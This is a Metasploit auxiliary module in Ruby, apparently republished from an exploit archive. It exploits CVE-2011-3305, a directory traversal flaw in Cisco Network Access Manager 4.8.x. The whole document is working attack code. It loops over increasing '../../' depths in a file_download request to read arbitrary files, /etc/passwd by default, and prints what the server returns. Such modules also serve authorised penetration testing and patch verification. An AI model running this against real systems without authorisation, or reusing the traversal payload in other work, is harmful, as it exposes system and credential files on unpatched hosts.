Cisco Network Access Manager Directory Traversal

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
  
def initialize  
super(  
'Name' => 'Cisco Network Access Manager Directory Traversal Vulnerability',  
'Description' => %q{  
This module tests whether a directory traversal vulnerability is present  
in versions of Cisco Network Access Manager 4.8.x You may wish to change  
FILE (e.g. passwd or hosts), MAXDIRS and RPORT depending on your environment.  
},  
'References' =>  
[  
[ 'CVE', '2011-3305' ],  
[ 'OSVDB', '76080']  
],  
'Author' => [ 'Nenad Stojanovski <nenad.stojanovski[at]gmail.com>' ],  
'License' => MSF_LICENSE,  
'DefaultOptions' => {  
'SSL' => true  
}  
)  
  
register_options(  
[  
Opt::RPORT(443),  
OptString.new('FILE', [ true, 'The file to traverse for', '/etc/passwd']),  
OptInt.new('MAXDIRS', [ true, 'The maximum directory depth to search', 7]),  
])  
end  
  
def run_host(ip)  
  
traversal = '../../'  
part1= '/admin/file_download?tag='  
part2 = '&fileType=snapshot'  
  
begin  
print_status("Attempting to connect to #{rhost}:#{rport}")  
res = send_request_raw(  
{  
'method' => 'GET',  
'uri' => '/admin',  
}, 25)  
  
if (res)  
1.upto(datastore['MAXDIRS']) do |level|  
try = traversal * level  
traversalstring = part1 + try + datastore['FILE'] + part2  
res = send_request_raw(  
{  
'method' => 'GET',  
'uri' => traversalstring,  
}, 25)  
if (res and res.code == 200)  
print_status("Request ##{level} may have succeeded on #{rhost}:#{rport}!\r\n Response: \r\n#{res.body}")  
break  
elsif (res and res.code)  
print_error("Attempt ##{level} returned HTTP error #{res.code} on #{rhost}:#{rport}\r\n")  
end  
end  
end  
  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
rescue ::Timeout::Error, ::Errno::EPIPE  
end  
end  
end  
`